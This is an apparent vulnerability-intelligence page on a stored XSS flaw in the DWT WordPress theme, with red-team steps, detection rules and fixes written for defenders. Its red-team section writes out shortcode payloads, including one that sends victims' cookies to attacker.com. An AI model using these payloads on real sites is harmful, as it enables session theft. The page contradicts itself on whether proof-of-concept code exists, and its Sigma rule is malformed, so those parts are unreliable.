CVE-2025-0169
Executive Summary
CVE-2025-0169 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the DWT - Directory & Listing WordPress Theme, affecting versions up to and including 3.3.4. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within shortcodes. This allows authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts. When a victim accesses a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for affected WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem and the DWT theme. No NPM, PyPI, Go, or Ruby packages are involved. The theme is distributed via WordPress theme repositories and third-party marketplaces. Users should verify the authenticity of their theme source and monitor for official patches.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level or above)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes this a serious concern for multi-author WordPress sites.
Deep Dive & Mechanics
The vulnerability is triggered through WordPress shortcodes provided by the DWT theme. Shortcodes are a powerful feature that allow users to embed dynamic content via simple tags like [dwt_listing]. The theme fails to properly sanitize user-supplied attributes (e.g., category, location) before rendering them in the page HTML. An attacker with contributor-level access can craft a shortcode with malicious JavaScript in an attribute:
[dwt_listing category="<script>alert('XSS')</script>"]
When the page is saved and viewed by another user, the unsanitized attribute is echoed directly into the HTML, causing the script to execute. The lack of output escaping (e.g., esc_attr()) and input validation (e.g., sanitize_text_field()) enables this attack.
Vulnerable vs. Patched Code
Vulnerable Code (example from theme shortcode handler):
function dwt_listing_shortcode($atts) {
$category = $atts['category'];
return '<div class="dwt-listing" data-cat="' . $category . '">...</div>';
}
Patched Code (hypothetical fix):
function dwt_listing_shortcode($atts) {
$category = isset($atts['category']) ? sanitize_text_field($atts['category']) : '';
return '<div class="dwt-listing" data-cat="' . esc_attr($category) . '">...</div>';
}
The patched version uses sanitize_text_field() to strip malicious input and esc_attr() to safely encode output for HTML attributes.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with DWT theme <= 3.3.4
- Authenticated user with Contributor role or higher
Steps:
- Log in to WordPress as a Contributor.
- Create a new post or page.
- Insert a shortcode with a malicious attribute:
[dwt_listing category="<img src=x onerror=alert(document.cookie)>"] - Publish the post.
- When an Administrator or any other user views the post, the XSS payload executes.
Advanced Payload (session hijacking):
[dwt_listing category="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
Blue Team
Detection:
- Monitor for posts/pages containing suspicious shortcode attributes (e.g.,
<script>,onerror,onload). - Use Web Application Firewall (WAF) rules to block XSS patterns in POST requests.
- Review user activity logs for unusual shortcode usage by low-privileged users.
Mitigation:
- Disable shortcodes for non-admin roles via
remove_shortcode()in functions.php. - Apply input validation and output escaping as shown in the patched code.
- Restrict contributor-level permissions if not needed.
Indicators of Compromise (IOCs)
File Indicators:
- Presence of malicious shortcodes in
wp_posts.post_contentdatabase table. - Modified theme files (e.g.,
dwt/shortcodes.php) containing unsanitized output.
- Presence of malicious shortcodes in
Network Indicators:
- Outbound HTTP requests to attacker-controlled domains (e.g., for cookie exfiltration).
- Suspicious
Refererheaders from WordPress admin pages.
Log Indicators:
- WordPress audit logs showing shortcode creation by non-admin users.
- Web server logs with
POSTrequests containing XSS patterns inpost_content.
Detection Engineering
YARA Rule
rule CVE_2025_0169_DWT_XSS {
meta:
description = "Detects malicious shortcode attributes in DWT theme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-0169"
strings:
$shortcode = /\[dwt_listing\s+[^\]]*?(<|%3C|\\x3C)[^\[\]]*?\]/i
$xss_payload = /(onerror|onload|onclick|alert|prompt|confirm|document\.cookie|fetch|eval)/i
condition:
$shortcode and $xss_payload
}
Sigma Rule
title: CVE-2025-0169 DWT Theme Stored XSS
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects stored XSS attempts via DWT theme shortcodes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/wp-admin/post.php'
cs-uri-query|contains: 'action=edit'
cs-uri-query|contains: 'post_type=post'
sc-status: 200
cs-request-body|contains:
- '[dwt_listing'
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of shortcodes with safe attributes
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-0169 DWT Theme Stored XSS Payload";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/post.php"; http_uri;
content:"[dwt_listing"; http_client_body;
pcre:"/(<|%3C|\\x3C)[^>]*?(onerror|onload|alert|prompt|confirm|document\.cookie|fetch|eval)/i";
sid:1000001;
rev:1;
reference:cve,2025-0169;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Disable the DWT theme and switch to a secure alternative until a patch is released.
- Remove or disable shortcodes for non-admin users by adding to
functions.php:if (!current_user_can('administrator')) { remove_shortcode('dwt_listing'); } - Audit existing content for malicious shortcodes using the YARA rule above.
Long-term Fix:
- Apply input sanitization (
sanitize_text_field()) and output escaping (esc_attr()) to all shortcode attributes. - Implement a Content Security Policy (CSP) header to block inline scripts.
- Regularly update the theme from the official vendor.
Vendor Contact:
- Since the patch status is UNKNOWN, report the vulnerability to the theme developer (Dwt) and monitor their official channels.
Valters IT signature: This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation is illegal.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.